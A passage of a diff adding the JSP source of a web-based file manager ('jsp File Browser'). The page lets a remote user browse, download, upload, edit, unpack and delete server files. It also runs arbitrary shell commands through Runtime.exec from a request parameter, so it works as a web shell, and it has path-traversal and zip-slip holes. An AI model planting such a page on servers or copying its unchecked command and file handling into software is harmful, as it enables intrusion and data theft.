(stFields.nextToken().trim().equalsIgnoreCase("filename")) { + fileInfo.name = paramName; + String value = stFields.nextToken(); + if (value != null && value.trim().length() > 0) { + fileInfo.clientFileName = value; + isFile = true; + } + else { + line = getLine(is); // Skip "Content-Type:" line + line = getLine(is); // Skip blank line + line = getLine(is); // Skip blank line + line = getLine(is); // Position to boundary line + continue; + } + } + } + else if (field.toLowerCase().indexOf("filename") >= 0) { + line = getLine(is); // Skip "Content-Type:" line + line = getLine(is); // Skip blank line + line = getLine(is); // Skip blank line + line = getLine(is); // Position to boundary line + continue; + } + } + boolean skipBlankLine = true; + if (isFile) { + line = getLine(is); + if (line == null) return dataTable; + if (line.trim().length() < 1) skipBlankLine = false; + else { + stLine = new StringTokenizer(line, ": "); + if (stLine.countTokens() < 2) throw new IllegalArgumentException( + "Bad data in third line"); + stLine.nextToken(); // Content-Type + fileInfo.fileContentType = stLine.nextToken(); + } + } + if (skipBlankLine) { + line = getLine(is); + if (line == null) return dataTable; + } + if (!isFile) { + line = getLine(is); + if (line == null) return dataTable; + dataTable.put(paramName, line); + // If parameter is dir, change saveInDir to dir + if (paramName.equals("dir")) saveInDir = line; + line = getLine(is); + continue; + } + try { + UplInfo uplInfo = new UplInfo(clength); + UploadMonitor.set(fileInfo.clientFileName, uplInfo); + OutputStream os = null; + String path = null; + if (saveFiles) os = new FileOutputStream(path = getFileName(saveInDir, + fileInfo.clientFileName)); + else os = new ByteArrayOutputStream(ONE_MB); + boolean readingContent = true; + byte previousLine[] = new byte[2 * ONE_MB]; + byte temp[] = null; + byte currentLine[] = new byte[2 * ONE_MB]; + int read, read3; + if ((read = is.readLine(previousLine, 0, previousLine.length)) == -1) { + line = null; + break; + } + while (readingContent) { + if ((read3 = is.readLine(currentLine, 0, currentLine.length)) == -1) { + line = null; + uplInfo.aborted = true; + break; + } + if (compareBoundary(boundary, currentLine)) { + os.write(previousLine, 0, read - 2); + line = new String(currentLine, 0, read3); + break; + } + else { + os.write(previousLine, 0, read); + uplInfo.currSize += read; + temp = currentLine; + currentLine = previousLine; + previousLine = temp; + read = read3; + }//end else + }//end while + os.flush(); + os.close(); + if (!saveFiles) { + ByteArrayOutputStream baos = (ByteArrayOutputStream) os; + fileInfo.setFileContents(baos.toByteArray()); + } + else fileInfo.file = new File(path); + dataTable.put(paramName, fileInfo); + uplInfo.currSize = uplInfo.totalSize; + }//end try + catch (IOException e) { + throw e; + } + } + return dataTable; + } + + /** + * Compares boundary string to byte array + */ + private boolean compareBoundary(String boundary, byte ba[]) { + if (boundary == null || ba == null) return false; + for (int i = 0; i < boundary.length(); i++) + if ((byte) boundary.charAt(i) != ba[i]) return false; + return true; + } + + /** Convenience method to read HTTP header lines */ + private synchronized String getLine(ServletInputStream sis) throws IOException { + byte b[] = new byte[1024]; + int read = sis.readLine(b, 0, b.length), index; + String line = null; + if (read != -1) { + line = new String(b, 0, read); + if ((index = line.indexOf('\n')) >= 0) line = line.substring(0, index - 1); + } + return line; + } + + public String getFileName(String dir, String fileName) throws IllegalArgumentException { + String path = null; + if (dir == null || fileName == null) throw new IllegalArgumentException( + "dir or fileName is null"); + int index = fileName.lastIndexOf('/'); + String name = null; + if (index >= 0) name = fileName.substring(index + 1); + else name = fileName; + index = name.lastIndexOf('\\'); + if (index >= 0) fileName = name.substring(index + 1); + path = dir + File.separator + fileName; + if (File.separatorChar == '/') return path.replace('\\', File.separatorChar); + else return path.replace('/', File.separatorChar); + } + } //End of class HttpMultiPartParser + + /** + * This class is a comparator to sort the filenames and dirs + */ + class FileComp implements Comparator { + + int mode; + int sign; + + FileComp() { + this.mode = 1; + this.sign = 1; + } + + /** + * @param mode sort by 1=Filename, 2=Size, 3=Date, 4=Type + * The default sorting method is by Name + * Negative mode means descending sort + */ + FileComp(int mode) { + if (mode < 0) { + this.mode = -mode; + sign = -1; + } + else { + this.mode = mode; + this.sign = 1; + } + } + + public int compare(Object o1, Object o2) { + File f1 = (File) o1; + File f2 = (File) o2; + if (f1.isDirectory()) { + if (f2.isDirectory()) { + switch (mode) { + //Filename or Type + case 1: + case 4: + return sign + * f1.getAbsolutePath().toUpperCase().compareTo( + f2.getAbsolutePath().toUpperCase()); + //Filesize + case 2: + return sign * (new Long(f1.length()).compareTo(new Long(f2.length()))); + //Date + case 3: + return sign + * (new Long(f1.lastModified()) + .compareTo(new Long(f2.lastModified()))); + default: + return 1; + } + } + else return -1; + } + else if (f2.isDirectory()) return 1; + else { + switch (mode) { + case 1: + return sign + * f1.getAbsolutePath().toUpperCase().compareTo( + f2.getAbsolutePath().toUpperCase()); + case 2: + return sign * (new Long(f1.length()).compareTo(new Long(f2.length()))); + case 3: + return sign + * (new Long(f1.lastModified()).compareTo(new Long(f2.lastModified()))); + case 4: { // Sort by extension + int tempIndexf1 = f1.getAbsolutePath().lastIndexOf('.'); + int tempIndexf2 = f2.getAbsolutePath().lastIndexOf('.'); + if ((tempIndexf1 == -1) && (tempIndexf2 == -1)) { // Neither have an extension + return sign + * f1.getAbsolutePath().toUpperCase().compareTo( + f2.getAbsolutePath().toUpperCase()); + } + // f1 has no extension + else if (tempIndexf1 == -1) return -sign; + // f2 has no extension + else if (tempIndexf2 == -1) return sign; + // Both have an extension + else { + String tempEndf1 = f1.getAbsolutePath().toUpperCase() + .substring(tempIndexf1); + String tempEndf2 = f2.getAbsolutePath().toUpperCase() + .substring(tempIndexf2); + return sign * tempEndf1.compareTo(tempEndf2); + } + } + default: + return 1; + } + } + } + } + + /** + * Wrapperclass to wrap an OutputStream around a Writer + */ + class Writer2Stream extends OutputStream { + + Writer out; + + Writer2Stream(Writer w) { + super(); + out = w; + } + + public void write(int i) throws IOException { + out.write(i); + } + + public void write(byte[] b) throws IOException { + for (int i = 0; i < b.length; i++) { + int n = b[i]; + //Convert byte to ubyte + n = ((n >>> 4) & 0xF) * 16 + (n & 0xF); + out.write(n); + } + } + + public void write(byte[] b, int off, int len) throws IOException { + for (int i = off; i < off + len; i++) { + int n = b[i]; + n = ((n >>> 4) & 0xF) * 16 + (n & 0xF); + out.write(n); + } + } + } //End of class Writer2Stream + + static Vector expandFileList(String[] files, boolean inclDirs) { + Vector v = new Vector(); + if (files == null) return v; + for (int i = 0; i < files.length; i++) + v.add(new File(URLDecoder.decode(files[i]))); + for (int i = 0; i < v.size(); i++) { + File f = (File) v.get(i); + if (f.isDirectory()) { + File[] fs = f.listFiles(); + for (int n = 0; n < fs.length; n++) + v.add(fs[n]); + if (!inclDirs) { + v.remove(i); + i--; + } + } + } + return v; + } + + /** + * Method to build an absolute path + * @param dir the root dir + * @param name the name of the new directory + * @return if name is an absolute directory, returns name, else returns dir+name + */ + static String getDir(String dir, String name) { + if (!dir.endsWith(File.separator)) dir = dir + File.separator; + File mv = new File(name); + String new_dir = null; + if (!mv.isAbsolute()) { + new_dir = dir + name; + } + else new_dir = name; + return new_dir; + } + + /** + * This Method converts a byte size in a kbytes or Mbytes size, depending on the size + * @param size The size in bytes + * @return String with size and unit + */ + static String convertFileSize(long size) { + int divisor = 1; + String unit = "bytes"; + if (size >= 1024 * 1024) { + divisor = 1024 * 1024; + unit = "MB"; + } + else if (size >= 1024) { + divisor = 1024; + unit = "KB"; + } + if (divisor == 1) return size / divisor + " " + unit; + String aftercomma = "" + 100 * (size % divisor) / divisor; + if (aftercomma.length() == 1) aftercomma = "0" + aftercomma; + return size / divisor + "." + aftercomma + " " + unit; + } + + /** + * Copies all data from in to out + * @param in the input stream + * @param out the output stream + * @param buffer copy buffer + */ + static void copyStreams(InputStream in, OutputStream out, byte[] buffer) throws IOException { + copyStreamsWithoutClose(in, out, buffer); + in.close(); + out.close(); + } + + /** + * Copies all data from in to out + * @param in the input stream + * @param out the output stream + * @param buffer copy buffer + */ + static void copyStreamsWithoutClose(InputStream in, OutputStream out, byte[] buffer) + throws IOException { + int b; + while ((b = in.read(buffer)) != -1) + out.write(buffer, 0, b); + } + + /** + * Returns the Mime Type of the file, depending on the extension of the filename + */ + static String getMimeType(String fName) { + fName = fName.toLowerCase(); + if (fName.endsWith(".jpg") || fName.endsWith(".jpeg") || fName.endsWith(".jpe")) return "image/jpeg"; + else if (fName.endsWith(".gif")) return "image/gif"; + else if (fName.endsWith(".pdf")) return "application/pdf"; + else if (fName.endsWith(".htm") || fName.endsWith(".html") || fName.endsWith(".shtml")) return "text/html"; + else if (fName.endsWith(".avi")) return "video/x-msvideo"; + else if (fName.endsWith(".mov") || fName.endsWith(".qt")) return "video/quicktime"; + else if (fName.endsWith(".mpg") || fName.endsWith(".mpeg") || fName.endsWith(".mpe")) return "video/mpeg"; + else if (fName.endsWith(".zip")) return "application/zip"; + else if (fName.endsWith(".tiff") || fName.endsWith(".tif")) return "image/tiff"; + else if (fName.endsWith(".rtf")) return "application/rtf"; + else if (fName.endsWith(".mid") || fName.endsWith(".midi")) return "audio/x-midi"; + else if (fName.endsWith(".xl") || fName.endsWith(".xls") || fName.endsWith(".xlv") + || fName.endsWith(".xla") || fName.endsWith(".xlb") || fName.endsWith(".xlt") + || fName.endsWith(".xlm") || fName.endsWith(".xlk")) return "application/excel"; + else if (fName.endsWith(".doc") || fName.endsWith(".dot")) return "application/msword"; + else if (fName.endsWith(".png")) return "image/png"; + else if (fName.endsWith(".xml")) return "text/xml"; + else if (fName.endsWith(".svg")) return "image/svg+xml"; + else if (fName.endsWith(".mp3")) return "audio/mp3"; + else if (fName.endsWith(".ogg")) return "audio/ogg"; + else return "text/plain"; + } + + /** + * Converts some important chars (int) to the corresponding html string + */ + static String conv2Html(int i) { + if (i == '&') return "&"; + else if (i == '<') return "<"; + else if (i == '>') return ">"; + else if (i == '"') return """; + else return "" + (char) i; + } + + /** + * Converts a normal string to a html conform string + */ + static String conv2Html(String st) { + StringBuffer buf = new StringBuffer(); + for (int i = 0; i < st.length(); i++) { + buf.append(conv2Html(st.charAt(i))); + } + return buf.toString(); + } + + /** + * Starts a native process on the server + * @param command the command to start the process + * @param dir the dir in which the process starts + */ + static String startProcess(String command, String dir) throws IOException { + StringBuffer ret = new StringBuffer(); + String[] comm = new String[3]; + comm[0] = COMMAND_INTERPRETER[0]; + comm[1] = COMMAND_INTERPRETER[1]; + comm[2] = command; + long start = System.currentTimeMillis(); + try { + //Start process + Process ls_proc = Runtime.getRuntime().exec(comm, null, new File(dir)); + //Get input and error streams + BufferedInputStream ls_in = new BufferedInputStream(ls_proc.getInputStream()); + BufferedInputStream ls_err = new BufferedInputStream(ls_proc.getErrorStream()); + boolean end = false; + while (!end) { + int c = 0; + while ((ls_err.available() > 0) && (++c <= 1000)) { + ret.append(conv2Html(ls_err.read())); + } + c = 0; + while ((ls_in.available() > 0) && (++c <= 1000)) { + ret.append(conv2Html(ls_in.read())); + } + try { + ls_proc.exitValue(); + //if the process has not finished, an exception is thrown + //else + while (ls_err.available() > 0) + ret.append(conv2Html(ls_err.read())); + while (ls_in.available() > 0) + ret.append(conv2Html(ls_in.read())); + end = true; + } + catch (IllegalThreadStateException ex) { + //Process is running + } + //The process is not allowed to run longer than given time. + if (System.currentTimeMillis() - start > MAX_PROCESS_RUNNING_TIME) { + ls_proc.destroy(); + end = true; + ret.append("!!!! Process has timed out, destroyed !!!!!"); + } + try { + Thread.sleep(50); + } + catch (InterruptedException ie) {} + } + } + catch (IOException e) { + ret.append("Error: " + e); + } + return ret.toString(); + } + + /** + * Converts a dir string to a linked dir string + * @param dir the directory string (e.g. /usr/local/httpd) + * @param browserLink web-path to Browser.jsp + */ + static String dir2linkdir(String dir, String browserLink, int sortMode) { + File f = new File(dir); + StringBuffer buf = new StringBuffer(); + while (f.getParentFile() != null) { + if (f.canRead()) { + String encPath = URLEncoder.encode(f.getAbsolutePath()); + buf.insert(0, "" + conv2Html(f.getName()) + File.separator + ""); + } + else buf.insert(0, conv2Html(f.getName()) + File.separator); + f = f.getParentFile(); + } + if (f.canRead()) { + String encPath = URLEncoder.encode(f.getAbsolutePath()); + buf.insert(0, "" + conv2Html(f.getAbsolutePath()) + ""); + } + else buf.insert(0, f.getAbsolutePath()); + return buf.toString(); + } + + /** + * Returns true if the given filename tends towards a packed file + */ + static boolean isPacked(String name, boolean gz) { + return (name.toLowerCase().endsWith(".zip") || name.toLowerCase().endsWith(".jar") + || (gz && name.toLowerCase().endsWith(".gz")) || name.toLowerCase() + .endsWith(".war")); + } + + /** + * If RESTRICT_BROWSING = true this method checks, whether the path is allowed or not + */ + static boolean isAllowed(File path, boolean write) throws IOException{ + if (READ_ONLY && write) return false; + if (RESTRICT_BROWSING) { + StringTokenizer stk = new StringTokenizer(RESTRICT_PATH, ";"); + while (stk.hasMoreTokens()){ + if (path!=null && path.getCanonicalPath().startsWith(stk.nextToken())) + return RESTRICT_WHITELIST; + } + return !RESTRICT_WHITELIST; + } + else return true; + } + + //--------------------------------------------------------------------------------------------------------------- + + %> +<% + //Get the current browsing directory + request.setAttribute("dir", request.getParameter("dir")); + // The browser_name variable is used to keep track of the URI + // of the jsp file itself. It is used in all link-backs. + final String browser_name = request.getRequestURI(); + final String FOL_IMG = ""; + boolean nohtml = false; + boolean dir_view = true; + //Get Javascript + if (request.getParameter("Javascript") != null) { + dir_view = false; + nohtml = true; + //Tell the browser that it should cache the javascript + response.setHeader("Cache-Control", "public"); + Date now = new Date(); + SimpleDateFormat sdf = new SimpleDateFormat("EEE, d MMM yyyy HH:mm:ss z", Locale.US); + response.setHeader("Expires", sdf.format(new Date(now.getTime() + 1000 * 60 * 60 * 24*2))); + response.setHeader("Content-Type", "text/javascript"); + %> + <%// This section contains the Javascript used for interface elements %> + var check = false; + <%// Disables the checkbox feature %> + function dis(){check = true;} + + var DOM = 0, MS = 0, OP = 0, b = 0; + <%// Determine the browser type %> + function CheckBrowser(){ + if (b == 0){ + if (window.opera) OP = 1; + // Moz or Netscape + if(document.getElementById) DOM = 1; + // Micro$oft + if(document.all && !OP) MS = 1; + b = 1; + } + } + <%// Allows the whole row to be selected %> + function selrow (element, i){ + var erst; + CheckBrowser(); + if ((OP==1)||(MS==1)) erst = element.firstChild.firstChild; + else if (DOM==1) erst = element.firstChild.nextSibling.firstChild; + <%// MouseIn %> + if (i==0){ + if (erst.checked == true) element.className='mousechecked'; + else element.className='mousein'; + } + <%// MouseOut %> + else if (i==1){ + if (erst.checked == true) element.className='checked'; + else element.className='mouseout'; + } + <% // MouseClick %> + else if ((i==2)&&(!check)){ + if (erst.checked==true) element.className='mousein'; + else element.className='mousechecked'; + erst.click(); + } + else check=false; + } + <%// Filter files and dirs in FileList%> + function filter (begriff){ + var suche = begriff.value.toLowerCase(); + var table = document.getElementById("filetable"); + var ele; + for (var r = 1; r < table.rows.length; r++){ + ele = table.rows[r].cells[1].innerHTML.replace(/<[^>]+>/g,""); + if (ele.toLowerCase().indexOf(suche)>=0 ) + table.rows[r].style.display = ''; + else table.rows[r].style.display = 'none'; + } + } + <%//(De)select all checkboxes%> + function AllFiles(){ + for(var x=0;x < document.FileList.elements.length;x++){ + var y = document.FileList.elements[x]; + var ytr = y.parentNode.parentNode; + var check = document.FileList.selall.checked; + if(y.name == 'selfile' && ytr.style.display != 'none'){ + if (y.disabled != true){ + y.checked = check; + if (y.checked == true) ytr.className = 'checked'; + else ytr.className = 'mouseout'; + } + } + } + } + + function shortKeyHandler(_event){ + if (!_event) _event = window.event; + if (_event.which) { + keycode = _event.which; + } else if (_event.keyCode) { + keycode = _event.keyCode; + } + var t = document.getElementById("text_Dir"); + //z + if (keycode == 122){ + document.getElementById("but_Zip").click(); + } + //r, F2 + else if (keycode == 113 || keycode == 114){ + var path = prompt("Please enter new filename", ""); + if (path == null) return; + t.value = path; + document.getElementById("but_Ren").click(); + } + //c + else if (keycode == 99){ + var path = prompt("Please enter filename", ""); + if (path == null) return; + t.value = path; + document.getElementById("but_NFi").click(); + } + //d + else if (keycode == 100){ + var path = prompt("Please enter directory name", ""); + if (path == null) return; + t.value = path; + document.getElementById("but_NDi").click(); + } + //m + else if (keycode == 109){ + var path = prompt("Please enter move destination", ""); + if (path == null) return; + t.value = path; + document.getElementById("but_Mov").click(); + } + //y + else if (keycode == 121){ + var path = prompt("Please enter copy destination", ""); + if (path == null) return; + t.value = path; + document.getElementById("but_Cop").click(); + } + //l + else if (keycode == 108){ + document.getElementById("but_Lau").click(); + } + //Del + else if (keycode == 46){ + document.getElementById("but_Del").click(); + } + } + + function popUp(URL){ + fname = document.getElementsByName("myFile")[0].value; + if (fname != "") + window.open(URL+"?first&uplMonitor="+encodeURIComponent(fname),"","width=400,height=150,resizable=yes,depend=yes") + } + + document.onkeypress = shortKeyHandler; +<% } + // View file + else if (request.getParameter("file") != null) { + File f = new File(request.getParameter("file")); + if (!isAllowed(f, false)) { + request.setAttribute("dir", f.getParent()); + request.setAttribute("error", "You are not allowed to access "+f.getAbsolutePath()); + } + else if (f.exists() && f.canRead()) { + if (isPacked(f.getName(), false)) { + //If zipFile, do nothing here + } + else{ + String mimeType = getMimeType(f.getName()); + response.setContentType(mimeType); + if (mimeType.equals("text/plain")) response.setHeader( + "Content-Disposition", "inline;filename=\"temp.txt\""); + else response.setHeader("Content-Disposition", "inline;filename=\"" + + f.getName() + "\""); + BufferedInputStream fileInput = new BufferedInputStream(new FileInputStream(f)); + byte buffer[] = new byte[8 * 1024]; + out.clearBuffer(); + OutputStream out_s = new Writer2Stream(out); + copyStreamsWithoutClose(fileInput, out_s, buffer); + fileInput.close(); + out_s.flush(); + nohtml = true; + dir_view = false; + } + } + else { + request.setAttribute("dir", f.getParent()); + request.setAttribute("error", "File " + f.getAbsolutePath() + + " does not exist or is not readable on the server"); + } + } + // Download selected files as zip file + else if ((request.getParameter("Submit") != null) + && (request.getParameter("Submit").equals(SAVE_AS_ZIP))) { + Vector v = expandFileList(request.getParameterValues("selfile"), false); + //Check if all files in vector are allowed + String notAllowedFile = null; + for (int i = 0;i < v.size(); i++){ + File f = (File) v.get(i); + if (!isAllowed(f, false)){ + notAllowedFile = f.getAbsolutePath(); + break; + } + } + if (notAllowedFile != null){ + request.setAttribute("error", "You are not allowed to access " + notAllowedFile); + } + else if (v.size() == 0) { + request.setAttribute("error", "No files selected"); + } + else { + File dir_file = new File("" + request.getAttribute("dir")); + int dir_l = dir_file.getAbsolutePath().length(); + response.setContentType("application/zip"); + response.setHeader("Content-Disposition", "attachment;filename=\"rename_me.zip\""); + out.clearBuffer(); + ZipOutputStream zipout = new ZipOutputStream(new Writer2Stream(out)); + zipout.setComment("Created by jsp File Browser v. " + VERSION_NR); + zipout.setLevel(COMPRESSION_LEVEL); + for (int i = 0; i < v.size(); i++) { + File f = (File) v.get(i); + if (f.canRead()) { + zipout.putNextEntry(new ZipEntry(f.getAbsolutePath().substring(dir_l + 1))); + BufferedInputStream fr = new BufferedInputStream(new FileInputStream(f)); + byte buffer[] = new byte[0xffff]; + copyStreamsWithoutClose(fr, zipout, buffer); + /* int b; + while ((b=fr.read())!=-1) zipout.write(b);*/ + fr.close(); + zipout.closeEntry(); + } + } + zipout.finish(); + out.flush(); + nohtml = true; + dir_view = false; + } + } + // Download file + else if (request.getParameter("downfile") != null) { + String filePath = request.getParameter("downfile"); + File f = new File(filePath); + if (!isAllowed(f, false)){ + request.setAttribute("dir", f.getParent()); + request.setAttribute("error", "You are not allowed to access " + f.getAbsoluteFile()); + } + else if (f.exists() && f.canRead()) { + response.setContentType("application/octet-stream"); + response.setHeader("Content-Disposition", "attachment;filename=\"" + f.getName() + + "\""); + response.setContentLength((int) f.length()); + BufferedInputStream fileInput = new BufferedInputStream(new FileInputStream(f)); + byte buffer[] = new byte[8 * 1024]; + out.clearBuffer(); + OutputStream out_s = new Writer2Stream(out); + copyStreamsWithoutClose(fileInput, out_s, buffer); + fileInput.close(); + out_s.flush(); + nohtml = true; + dir_view = false; + } + else { + request.setAttribute("dir", f.getParent()); + request.setAttribute("error", "File " + f.getAbsolutePath() + + " does not exist or is not readable on the server"); + } + } + if (nohtml) return; + //else + // If no parameter is submitted, it will take the path from jsp file browser + if (request.getAttribute("dir") == null) { + String path = null; + if (application.getRealPath(request.getRequestURI()) != null) { + File f = new File(application.getRealPath(request.getRequestURI())).getParentFile(); + //This is a hack needed for tomcat + while (f != null && !f.exists()) + f = f.getParentFile(); + if (f != null) + path = f.getAbsolutePath(); + } + if (path == null) { // handle the case where we are not in a directory (ex: war file) + path = new File(".").getAbsolutePath(); + } + //Check path + if (!isAllowed(new File(path), false)){ + //TODO Blacklist + if (RESTRICT_PATH.indexOf(";")<0) path = RESTRICT_PATH; + else path = RESTRICT_PATH.substring(0, RESTRICT_PATH.indexOf(";")); + } + request.setAttribute("dir", path); + }%> + + + + + + + +<% + //If a cssfile exists, it will take it + String cssPath = null; + if (application.getRealPath(request.getRequestURI()) != null) cssPath = new File( + application.getRealPath(request.getRequestURI())).getParent() + + File.separator + CSS_NAME; + if (cssPath == null) cssPath = application.getResource(CSS_NAME).toString(); + if (new File(cssPath).exists()) { +%> + + <%} + else if (request.getParameter("uplMonitor") == null) {%> + + <%} + + //Check path + if (!isAllowed(new File((String)request.getAttribute("dir")), false)){ + request.setAttribute("error", "You are not allowed to access " + request.getAttribute("dir")); + } + //Upload monitor + else if (request.getParameter("uplMonitor") != null) {%> + <% + String fname = request.getParameter("uplMonitor"); + //First opening + boolean first = false; + if (request.getParameter("first") != null) first = true; + UplInfo info = new UplInfo(); + if (!first) { + info = UploadMonitor.getInfo(fname); + if (info == null) { + //Windows + int posi = fname.lastIndexOf("\\"); + if (posi != -1) info = UploadMonitor.getInfo(fname.substring(posi + 1)); + } + if (info == null) { + //Unix + int posi = fname.lastIndexOf("/"); + if (posi != -1) info = UploadMonitor.getInfo(fname.substring(posi + 1)); + } + } + dir_view = false; + request.setAttribute("dir", null); + if (info.aborted) { + UploadMonitor.remove(fname); + %> + + +Upload of <%=fname%>

    +Upload aborted. +<% + } + else if (info.totalSize != info.currSize || info.currSize == 0) { + %> + + + +Upload of <%=fname%>

    +
    + + +
    +<%=convertFileSize(info.currSize)%> from <%=convertFileSize(info.totalSize)%> +(<%=info.getPercent()%> %) uploaded (Speed: <%=info.getUprate()%>).
    +Time: <%=info.getTimeElapsed()%> from <%=info.getTimeEstimated()%> + +<% + } + else { + UploadMonitor.remove(fname); + %> + + +Upload of <%=fname%>

    +Upload finished. + +<% + } + } + //Comandwindow + else if (request.getParameter("command") != null) { + if (!NATIVE_COMMANDS){ + request.setAttribute("error", "Execution of native commands is not allowed!"); + } + else if (!"Cancel".equalsIgnoreCase(request.getParameter("Submit"))) { +%> +Launch commands in <%=request.getAttribute("dir")%> + +
    +

    <%=LAUNCH_COMMAND %>


    +<% + out.println("
    \n" + + " + "> +

    + + + +
    + Command: +
    + "> +
    +
    +
    +
    +
    + jsp File Browser version <%= VERSION_NR%> by www.vonloesch.de +
    +
    + + +<% + dir_view = false; + request.setAttribute("dir", null); + } + } + + //Click on a filename, special viewer (zip+jar file) + else if (request.getParameter("file") != null) { + File f = new File(request.getParameter("file")); + if (!isAllowed(f, false)){ + request.setAttribute("error", "You are not allowed to access " + f.getAbsolutePath()); + } + else if (isPacked(f.getName(), false)) { + //ZipFile + try { + ZipFile zf = new ZipFile(f); + Enumeration entries = zf.entries(); +%> +<%= f.getAbsolutePath()%> + + +

    Content of <%=conv2Html(f.getName())%>


    + + +<% + long size = 0; + int fileCount = 0; + while (entries.hasMoreElements()) { + ZipEntry entry = (ZipEntry) entries.nextElement(); + if (!entry.isDirectory()) { + fileCount++; + size += entry.getSize(); + long ratio = 0; + if (entry.getSize() != 0) ratio = (entry.getCompressedSize() * 100) + / entry.getSize(); + out.println(""); + + } + } + zf.close(); + //No directory view + dir_view = false; + request.setAttribute("dir", null); +%> +
    NameUncompressed sizeCompressed sizeCompr. ratioDate
    " + conv2Html(entry.getName()) + + "" + convertFileSize(entry.getSize()) + "" + + convertFileSize(entry.getCompressedSize()) + "" + + ratio + "%" + "" + + dateFormat.format(new Date(entry.getTime())) + "
    +

    + <%=convertFileSize(size)%> in <%=fileCount%> files in <%=f.getName()%>. Compression ratio: <%=(f.length() * 100) / size%>% +

    + +<% + } + catch (ZipException ex) { + request.setAttribute("error", "Cannot read " + f.getName() + + ", no valid zip file"); + } + catch (IOException ex) { + request.setAttribute("error", "Reading of " + f.getName() + " aborted. Error: " + + ex); + } + } + } + // Upload + else if ((request.getContentType() != null) + && (request.getContentType().toLowerCase().startsWith("multipart"))) { + if (!ALLOW_UPLOAD){ + request.setAttribute("error", "Upload is forbidden!"); + } + response.setContentType("text/html"); + HttpMultiPartParser parser = new HttpMultiPartParser(); + boolean error = false; + try { + int bstart = request.getContentType().lastIndexOf("oundary="); + String bound = request.getContentType().substring(bstart + 8); + int clength = request.getContentLength(); + Hashtable ht = parser + .processData(request.getInputStream(), bound, tempdir, clength); + if (!isAllowed(new File((String)ht.get("dir")), false)){ + //This is a hack, cos we are writing to this directory + request.setAttribute("error", "You are not allowed to access " + ht.get("dir")); + error = true; + } + else if (ht.get("myFile") != null) { + FileInfo fi = (FileInfo) ht.get("myFile"); + File f = fi.file; + UplInfo info = UploadMonitor.getInfo(fi.clientFileName); + if (info != null && info.aborted) { + f.delete(); + request.setAttribute("error", "Upload aborted"); + } + else { + // Move file from temp to the right dir + String path = (String) ht.get("dir"); + if (!path.endsWith(File.separator)) path = path + File.separator; + if (!f.renameTo(new File(path + f.getName()))) { + request.setAttribute("error", "Cannot upload file."); + error = true; + f.delete(); + } + } + } + else { + request.setAttribute("error", "No file selected for upload"); + error = true; + } + request.setAttribute("dir", (String) ht.get("dir")); + } + catch (Exception e) { + request.setAttribute("error", "Error " + e + ". Upload aborted"); + error = true; + } + if (!error) request.setAttribute("message", "File upload correctly finished."); + } + // The form to edit a text file + else if (request.getParameter("editfile") != null) { + File ef = new File(request.getParameter("editfile")); + if (!isAllowed(ef, true)){ + request.setAttribute("error", "You are not allowed to access " + ef.getAbsolutePath()); + } + else{ +%> +Edit <%=conv2Html(request.getParameter("editfile"))%> + + +
    +

    Edit <%=conv2Html(request.getParameter("editfile"))%>


    +<% + BufferedReader reader = new BufferedReader(new FileReader(ef)); + String disable = ""; + if (!ef.canWrite()) disable = " readonly"; + out.println("
    \n" + + "

    + + "> + "> + + + + + + + +
    >Ms-Dos/Windows + >Unix + Write backup
    +
    + + "> + "> +
    +
    +
    +
    +
    + jsp File Browser version <%= VERSION_NR%> by www.vonloesch.de +
    + + +<% + } + } + // Save or cancel the edited file + else if (request.getParameter("nfile") != null) { + File f = new File(request.getParameter("nfile")); + if (request.getParameter("Submit").equals("Save")) { + File new_f = new File(getDir(f.getParent(), request.getParameter("new_name"))); + if (!isAllowed(new_f, true)){ + request.setAttribute("error", "You are not allowed to access " + new_f.getAbsolutePath()); + } + if (new_f.exists() && new_f.canWrite() && request.getParameter("Backup") != null) { + File bak = new File(new_f.getAbsolutePath() + ".bak"); + bak.delete(); + new_f.renameTo(bak); + } + if (new_f.exists() && !new_f.canWrite()) request.setAttribute("error", + "Cannot write to " + new_f.getName() + ", file is write protected."); + else { + BufferedWriter outs = new BufferedWriter(new FileWriter(new_f)); + StringReader text = new StringReader(request.getParameter("text")); + int i; + boolean cr = false; + String lineend = "\n"; + if (request.getParameter("lineformat").equals("dos")) lineend = "\r\n"; + while ((i = text.read()) >= 0) { + if (i == '\r') cr = true; + else if (i == '\n') { + outs.write(lineend); + cr = false; + } + else if (cr) { + outs.write(lineend); + cr = false; + } + else { + outs.write(i); + cr = false; + } + } + outs.flush(); + outs.close(); + } + } + request.setAttribute("dir", f.getParent()); + } + //Unpack file to the current directory without overwriting + else if (request.getParameter("unpackfile") != null) { + File f = new File(request.getParameter("unpackfile")); + String root = f.getParent(); + request.setAttribute("dir", root); + if (!isAllowed(new File(root), true)){ + request.setAttribute("error", "You are not allowed to access " + root); + } + //Check if file exists + else if (!f.exists()) { + request.setAttribute("error", "Cannot unpack " + f.getName() + + ", file does not exist"); + } + //Check if directory is readonly + else if (!f.getParentFile().canWrite()) { + request.setAttribute("error", "Cannot unpack " + f.getName() + + ", directory is write protected."); + } + //GZip + else if (f.getName().toLowerCase().endsWith(".gz")) { + //New name is old Name without .gz + String newName = f.getAbsolutePath().substring(0, f.getAbsolutePath().length() - 3); + try { + byte buffer[] = new byte[0xffff]; + copyStreams(new GZIPInputStream(new FileInputStream(f)), new FileOutputStream( + newName), buffer); + } + catch (IOException ex) { + request.setAttribute("error", "Unpacking of " + f.getName() + + " aborted. Error: " + ex); + } + } + //Else try Zip + else { + try { + ZipFile zf = new ZipFile(f); + Enumeration entries = zf.entries(); + //First check whether a file already exist + boolean error = false; + while (entries.hasMoreElements()) { + ZipEntry entry = (ZipEntry) entries.nextElement(); + if (!entry.isDirectory() + && new File(root + File.separator + entry.getName()).exists()) { + request.setAttribute("error", "Cannot unpack " + f.getName() + + ", File " + entry.getName() + " already exists."); + error = true; + break; + } + } + if (!error) { + //Unpack File + entries = zf.entries(); + byte buffer[] = new byte[0xffff]; + while (entries.hasMoreElements()) { + ZipEntry entry = (ZipEntry) entries.nextElement(); + File n = new File(root + File.separator + entry.getName()); + if (entry.isDirectory()) n.mkdirs(); + else { + n.getParentFile().mkdirs(); + n.createNewFile(); + copyStreams(zf.getInputStream(entry), new FileOutputStream(n), + buffer); + } + } + zf.close(); + request.setAttribute("message", "Unpack of " + f.getName() + + " was successful."); + } + } + catch (ZipException ex) { + request.setAttribute("error", "Cannot unpack " + f.getName() + + ", no valid zip file"); + } + catch (IOException ex) { + request.setAttribute("error", "Unpacking of " + f.getName() + + " aborted. Error: " + ex); + } + } + } + // Delete Files + else if ((request.getParameter("Submit") != null) + && (request.getParameter("Submit").equals(DELETE_FILES))) { + Vector v = expandFileList(request.getParameterValues("selfile"), true); + boolean error = false; + //delete backwards + for 